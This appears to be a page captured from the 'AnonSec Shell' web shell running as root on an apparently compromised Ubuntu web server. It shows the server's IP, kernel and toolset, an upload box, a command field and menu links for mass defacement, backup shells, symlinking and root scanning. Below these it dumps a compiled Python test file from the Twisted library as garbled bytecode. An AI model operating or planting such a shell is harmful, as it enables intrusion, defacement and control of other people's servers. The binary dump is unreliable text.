AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/twisted/test/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/twisted/test/__pycache__/test_ident.cpython-310.pyc
o

�b>�@s�dZddlZddlZddlmZddlmZmZddlm	Z	ddl
mZddlm
Z
ddlmZGd	d
�d
ej�ZGdd�de	j�ZGd
d�de	j�ZGdd�de�ZGdd�dej�Ze�dd�dd�dkrmdZdZndZdZGdd�dej�ZdS)z0
Test cases for twisted.protocols.ident module.
�N)�StringIO)�defer�error)�ident)�failure)�StringTransport)�unittestc@s@eZdZdZdd�Zdd�Zdd�Zdd	�Zd
d�Zdd
�Z	dS)�ClassParserTestsz*
    Test parsing of ident responses.
    cCst��|_dS)z7
        Create an ident client used in tests.
        N)r�IdentClient�client��self�r�9/usr/lib/python3/dist-packages/twisted/test/test_ident.py�setUpszClassParserTests.setUpcC�6t��}|jj�|ddf�|j�d�|�|tj�S)zX
        'UNKNOWN-ERROR' error should map to the L{ident.IdentError} exception.
        �{��z 123, 456 : ERROR : UNKNOWN-ERROR)	r�Deferredr�queries�append�lineReceived�
assertFailurer�
IdentError�r
�drrr�test_indentError�z!ClassParserTests.test_indentErrorcCr)zN
        'NO-USER' error should map to the L{ident.NoUser} exception.
        ��rz234, 456 : ERROR : NO-USER)	rrrrrrrr�NoUserrrrr�test_noUSerError(rz!ClassParserTests.test_noUSerErrorcCr)zX
        'INVALID-PORT' error should map to the L{ident.InvalidPort} exception.
        iY�7z 345, 567 :  ERROR : INVALID-PORT)	rrrrrrrr�InvalidPortrrrr�test_invalidPortError1rz&ClassParserTests.test_invalidPortErrorcCr)zV
        'HIDDEN-USER' error should map to the L{ident.HiddenUser} exception.
        r!iz567, 789 : ERROR : HIDDEN-USER)	rrrrrrrr�
HiddenUserrrrr�test_hiddenUserError:rz%ClassParserTests.test_hiddenUserErrorcCs@t��}|jj�|ddf�|j�t�t�	���|�
|tj�S)zy
        A pending query which failed because of a ConnectionLost should
        receive an L{ident.IdentError}.
        i�i�)
rrrrr�connectionLostr�Failurer�ConnectionLostrrrrrrr�test_lostConnectionCsz$ClassParserTests.test_lostConnectionN)
�__name__�
__module__�__qualname__�__doc__rrr r#r%r)rrrrr	s				r	c@�eZdZdd�ZdS)�TestIdentServercCs|jS�N)�resultValue�r
�
serverAddress�
clientAddressrrr�lookupOszTestIdentServer.lookupN�r*r+r,r5rrrrr/N�r/c@r.)�TestErrorIdentServercCs|���r0)�
exceptionTyper2rrrr5TszTestErrorIdentServer.lookupNr6rrrrr8Sr7r8c@seZdZdS)�NewExceptionN)r*r+r,rrrrr:Xsr:c@seZdZdd�Zdd�ZdS)�ServerParserTestscCs4t�}|�t��g}|j|_tj|_|�d�|�	|dd�tj
|_|�d�|�	|dd�tj|_|�d�|�	|dd	�tj|_|�d
�|�	|dd�t
|_|�d
�|�	|dd�|�t
�}|�	t|�d�dD]%}|dd�=|�d|f�|�d|f�|�	|d|fd|fg�qrdS)Nz123, 345rz 123, 345 : ERROR : UNKNOWN-ERRORz432, 210�z432, 210 : ERROR : NO-USERz987, 654�z987, 654 : ERROR : INVALID-PORTz756, 827�z756, 827 : ERROR : HIDDEN-USERz987, 789�z 987, 789 : ERROR : UNKNOWN-ERROR)���riiz%d, 5z5, %dz%d, 5 : ERROR : INVALID-PORTz5, %d : ERROR : INVALID-PORT)r8�makeConnectionrr�sendLinerrr9r�assertEqualrr"r$r:�flushLoggedErrors�len)r
�p�L�errs�portrrr�
testErrors]s@






���zServerParserTests.testErrorscCsBt�}|�t��g}|j|_d|_|�d�|�|dd�dS)N)�SYS�USERz123, 456rz123, 456 : USERID : SYS : USER)r/rArrrBr1rrC)r
rFrGrrr�testSuccess�s
zServerParserTests.testSuccessN)r*r+r,rJrMrrrrr;\s(r;z=Lr<��0100007F�04030201�7F000001�01020304c@sPeZdZdeefZdeZdd�Zdd�Zdd�Z	d	d
�Z
dd�Zd
d�ZdS)�ProcMixinTestszj4: %s:0019 %s:02FA 0A 00000000:00000000 00:00000000 00000000     0        0 10927 1 f72a5b80 3000 0 0 2 -1zd  sl  local_address rem_address   st tx_queue rx_queue tr tm->when retrnsmt   uid  timeout inode
   cCst��}|�|�t�d�dS)N�	127.0.0.1)r�ProcServerMixinrC�dottedQuadFromHexString�_addr1�r
rFrrr�testDottedQuadFromHexString�sz*ProcMixinTests.testDottedQuadFromHexStringcCs"t��}|�|�td�d�dS)Nz:0277)rTiw)rrUrC�
unpackAddressrWrXrrr�testUnpackAddress�sz ProcMixinTests.testUnpackAddresscCs t��}|�|�|j�d�dS)N)�rT���1.2.3.4�r)rrUrC�	parseLine�linerXrrr�testLineParser�s�zProcMixinTests.testLineParsercsTg�t��}�fdd�|_�fdd�|_��|�dd�|jdf����dg�dS)Nc�t�jg�Sr0��iterrbrrrr�<lambda>��z4ProcMixinTests.testExistingAddress.<locals>.<lambda>cs��|�dfdS)N�rootr<)r)�uid)�usernamerrrg�sr\r^rir)rrU�entries�getUsernamerCr5�SYSTEM_NAMErXr)r
rkr�testExistingAddress�s�z"ProcMixinTests.testExistingAddresscsVt��}�fdd�|_��tj|jdd���tj|jdd���tj|jdd�dS)Ncrdr0rerrrrrg�rhz7ProcMixinTests.testNonExistingAddress.<locals>.<lambda>�rT�r^r\)z1.2.3.5r`)r_i�)rrUrl�assertRaisesrr5rXrrr�testNonExistingAddress�s
z%ProcMixinTests.testNonExistingAddresscsRg���fdd�}��td|�t��}��tj|jdd���difg��dS)zS
        L{ident.ProcServerMixin.lookup} uses the Linux TCP process table.
        cs��||f�t�j�S)z[
            Mock for the open call to prevent actually opening /proc/net/tcp.
            )rr�
sampleFile)�args�kwargs��
open_callsr
rr�mocked_open�s
z8ProcMixinTests.testLookupProcNetTcp.<locals>.mocked_open�openrpr^)z
/proc/net/tcpN)�patch�builtinsrrUrrrr5rC)r
ryrFrrwr�testLookupProcNetTcp�sz#ProcMixinTests.testLookupProcNetTcpN)
r*r+r,rW�_addr2rbrtrYr[rcrorsr}rrrrrS�s���
rS)r-r|�struct�ior�twisted.internetrr�twisted.protocolsr�twisted.pythonr�twisted.test.proto_helpersr�
twisted.trialr�TestCaser	�IdentServerr/r8�RuntimeErrorr:r;�packrWr~rSrrrr�<module>s(:4

Anon7 - 2022
AnonSec Team